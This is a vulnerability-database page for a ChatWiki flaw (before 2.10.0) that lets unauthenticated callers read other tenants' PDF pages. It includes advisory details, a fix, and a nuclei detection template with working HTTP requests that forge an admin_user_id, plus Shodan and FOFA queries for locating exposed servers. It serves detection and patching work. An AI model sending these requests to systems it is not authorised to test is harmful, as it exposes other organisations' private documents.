HexBrain

Browse / CVEs / CVE-2026-124027

CVE-2026-124027· zhimaai / chatwiki· CWE-306

ChatWiki < 2.10.0 - Cross-Tenant Document Page Disclosure

highseverity
7.5CVSS score
0.5%likelihood of exploitation, next 30 days
43%of all CVEs are less likely
Readycheck to confirm it

ChatWiki before 2.10.0 exposes /manage/getLibRawFileOnePage without authentication and trusts a caller-supplied admin_user_id, allowing document-page access across tenants.

Impact

An unauthenticated attacker can read other tenants' knowledge-base PDF pages when valid file IDs are supplied.

Fix

Upgrade ChatWiki to version 2.10.0 or later.

How to confirm it

Send: GET /manage/getLibFileInfo?id=2147483647 ; GET /manage/getLibRawFileOnePage?admin_user_id=1&id=2147483647&page=1 ; GET /manage/getLibRawFileOnePage
Positive when: status_code_1 == 401 && contains(body_1, "\"res\":401") and status_code_2 == 200 && status_code_3 == 200 and contains(body_2, "\"res\":1") && contains(body_3, "\"res\":1") and body_2 != body_3

Run it with nuclei: nuclei -id CVE-2026-124027 -u <target>

The full check
id: CVE-2026-124027

info:
  name: ChatWiki < 2.10.0 - Cross-Tenant Document Page Disclosure
  author: maulanawirawan
  severity: high
  description: |
    ChatWiki before 2.10.0 exposes /manage/getLibRawFileOnePage without authentication and trusts a caller-supplied admin_user_id, allowing document-page access across tenants.
  impact: |
    An unauthenticated attacker can read other tenants' knowledge-base PDF pages when valid file IDs are supplied.
  remediation: |
    Upgrade ChatWiki to version 2.10.0 or later.
  reference:
    - https://github.com/zhimaAi/chatwiki/issues/181
    - https://nvd.nist.gov/vuln/detail/CVE-2026-124027
    - https://github.com/zhimaAi/chatwiki/commit/d1ca145e283e2cb652e0b1002d5f14d6a46671e3
    - https://github.com/zhimaAi/chatwiki/releases/tag/v2.10.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-124027
    epss-score: 0.00491
    epss-percentile: 0.42769
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: zhimaai
    product: chatwiki
    shodan-query: 'http.title:"ChatWiki"'
    fofa-query: 'title="ChatWiki"'
  tags: cve,cve2026,chatwiki,disclosure,unauth,tenant-isolation

http:
  - raw:
      - |
        GET /manage/getLibFileInfo?id=2147483647 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /manage/getLibRawFileOnePage?admin_user_id=1&id=2147483647&page=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /manage/getLibRawFileOnePage HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401 && contains(body_1, "\"res\":401")'
          - 'status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_2, "\"res\":1") && contains(body_3, "\"res\":1")'
          - 'body_2 != body_3'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from